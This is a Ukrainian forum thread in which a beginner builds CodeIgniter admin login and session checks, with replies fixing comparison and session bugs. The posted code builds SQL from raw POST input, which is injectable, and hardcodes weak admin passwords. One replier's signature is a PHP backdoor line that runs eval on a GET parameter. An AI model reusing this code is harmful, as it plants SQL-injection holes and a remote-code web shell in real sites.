1 Востаннє редагувалося Blast (01.06.2014 18:50:08)

Тема: Авторизація + сессії Codeignitor

Організував контроллер запит проходить . Як звірити вхідні данін з отриманними з  бд чи оформити перевірку ?

if ($query = TRUE) {
                    echo "1";
                } 
                else { echo "2";}

                }



Весь контроллер

    function index()
        {        


                if (isset($_POST['log'])) 
                {     
                    $username = $_POST['username'] ;
                    $password = $_POST['password'];
                $query = $this->db->query('SELECT * FROM  `admins` WHERE login ="$username" || pass = "$password"');

                if ($query = TRUE) {
                    echo "1";
                } 
                else { echo "2";}

                }
                else 
                {
                    $this->load->view('author_view');
                }
    

}

Junior Django Developer

2 Востаннє редагувалося Blast (01.06.2014 18:50:14)

Re: Авторизація + сессії Codeignitor

?

Junior Django Developer

3

Re: Авторизація + сессії Codeignitor

Як звірити вхідні данін з отриманними з  бд чи оформити перевірку ?

реально звіряти через іф, але використовуйте як мінімум 2 порівнянна а не одне


Але авторизацію роблять по наступному принципу:
користувач вводить логін пароль, беремо логін і шукаємо в базі відповідний запис і витягуємо пароль. якщо пароль співпадає з введеним тоді все ок.

загляньте у класи
https://github.com/ukrcms/simple-blog/b … er.php#L24
у контроллері викликаємо клас авторизації і передаємо йому логін і пароль

клас авторизації витягує з бази даних інформацію і перевіряє чи збігається пароль

https://github.com/ukrcms/simple-blog/b … ty.php#L16

більш менш надіюсь пояснив.

p.s. Це форум, не варто писати повідомлення яке складається із знаку питання. Як буде час народ відповість ;)

4

Re: Авторизація + сессії Codeignitor

funivan написав:

Як звірити вхідні данін з отриманними з  бд чи оформити перевірку ?

Все на багато простіше потрібно авторизація лише для одного користувача - адміна , якого при авторизації буде перекидати на сторінку доадвання новини та завантаження фото в базу . дійшов ось до чого але свариться
на не вибрану таблицю .

function index()
        {        


                if (isset($_POST['log'])) 
                {     
                    

                    $username = $_POST['username'] ;
                    $password = $_POST['password'];
                
            $query = $this->db->query('SELECT * FROM  `admins` WHERE login ="$username" || pass = "$password"');

            $user = mysqli_fetch_array($query) ; //Генерирует удобный массив из результата запроса
                if(!empty($user)){
                    echo "1";

                } 
                else { echo "2";}

                }
                else 
                {
                    $this->load->view('author_view');
                }
    

}
Junior Django Developer

5

Re: Авторизація + сессії Codeignitor

Перестав паритись і записав данні авторизації образу у форму = )

if (isset($_POST['log'])) 
                {     


                    $username = $_POST['username'] ;
                    $password = $_POST['password'];
                
            
                             //Генерирует удобный массив из результата запроса
                if(($username === "Panda") && ($password === "123456") ){
                    echo "1";

                } 
                else { echo "2";}

                }
                else 
                {
                    $this->load->view('author_view');
                }
Junior Django Developer

6

Re: Авторизація + сессії Codeignitor

Замість прямого доступу до елементів масивів $_POST, $_GET краще використовувати $this->input->post(), $this->input->get() відповідно.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

7

Re: Авторизація + сессії Codeignitor

Invader написав:

Замість прямого доступу до елементів масивів $_POST, $_GET краще використовувати $this->input->post(), $this->input->get() відповідно.

працювали з кодігнайтором ?


тепер задав параметр для сессії

                      $this->session->set_userdata('admin','1');
                      $my_var = $this->session->userdata('admin');


але коли намагаюсь знищити сессію   

окремою функцією
function dest()
                {       

                       
                $this->session->sess_destroy();

   

                }



і викликати функцію типу 
    $this->load->view('menu_view');
                        if ($my_var =  '1') {
                            echo "a";
                        }

                        else {echo "1"; }

                }

всерівно виводиться а ?

Junior Django Developer

8

Re: Авторизація + сессії Codeignitor

Прихований текст
Є спеціальний тег для коду який слід використовувати.

В до кументації до функції sess_destroy сказано, що дана функція має бути викликана в останню чергу. Є ще функція unset_userdata().

$this->load->view('menu_view');
                        if ($my_var =  '1') {
                            echo "a";
                        }

                        else {echo "1"; }

                }

Мало б бути

 if ($my_var ==  '1') {

або

 if ($my_var ===  '1') {
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

9 Востаннє редагувалося Blast (01.06.2014 22:22:35)

Re: Авторизація + сессії Codeignitor

Invader написав:
Прихований текст
Є спеціальний тег для коду який слід використовувати.

Весь контроллер .

Не потрібно аж якась така авторизація , просто захистити сторінку додавання новин від можливог спаму .

Прихований текст

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Admin extends CI_Controller {

        function index()
        {        


                if (isset($_POST['log'])) 
                {     


                    $username = $_POST['username'] ;
                    $password = $_POST['password'];
                
            
                            
                if(($username === "1") && ($password === "1") ){
                    
                     
                      $this->session->set_userdata('admin','11111111111');
                      $my_var = $this->session->userdata('admin');        
                } 
                else { echo "2";}

                }
                else 
                {
                    $this->load->view('author_view');
                }
}
function add_post()
                {        

                        $this->load->view('menu_view');
                        if ($my_var == '1') {
                            echo "asddddddddddddddddddddddddddddddddddd
                            adsssssssssssssssssssssssssssssssssssssssss
                            adssssssssssssssssssss<p>sssssssssssssssssssssasd
                            adsssssssssssssssss<p>ssssssssssssssssssssssssasdasd
                            asddddddddddddd<p>dddddddddddddddddddd<p>dddddddddddddddd
                            adsssssssssssssss<p>ssssssssssssssssssssssssssasdasdasd
                            asddddddddddddd<p>ddddddddddddddd<p>dddddddddddddddddddddasd
                            asdddddddddd<p>dddddddddddddddd<p>dddddddddddddddddddddddasdasd
                            asddddddddddddd<p>dddddddddd<p>ddddddddddddddddddddddddddddd
                            ";
                        }

                        else {echo "11111111111111<p>11111111111111111111111111111111
                            1111111111111111111111111111111111111<p>111111111111111111
                        11111111<p>1111111<p>1111<p>1111111111111111111111111111111111111111
                        11111111111<p>11111111111111<p>11111111111111111111111111111111111
                        1111111111<p>111111111111111111111111111111111111
                            11111111111<p>11111111111111111<p>111111111111111111111111111
                        11111111111111111111111111111111111111111111111111111111111
                        11111111111<p>111111<p>111111111<p>1111<p>111111111111111111111111111111
                        1111111111111111111111111111111111111111111111
                            111111111111<p>11111111<p>11111111111111111111111111111111111
                        11111111111<p>111111111111111111111111111111111111111<p>111111111
                        111111111111111111111111111111111111111111111111111111111111
                            "; }
    

                }


                function dest()
                {        

                        
                $this->session->sess_destroy();

    

                }

}


<p>Severity: Notice</p>
<p>Message:  Undefined variable: my_var</p>
<p>Filename: controllers/admin.php</p>
<p>Line Number: 36</p>

Junior Django Developer

10

Re: Авторизація + сессії Codeignitor

Вписав інціалізацію данних в середині іншої функції і все на диво запрацювало . Спасибі всім за допомогу .

$this->load->view('menu_view');
$my_var = $this->session->userdata('admin');   

                        if ($my_var == '1') {

Junior Django Developer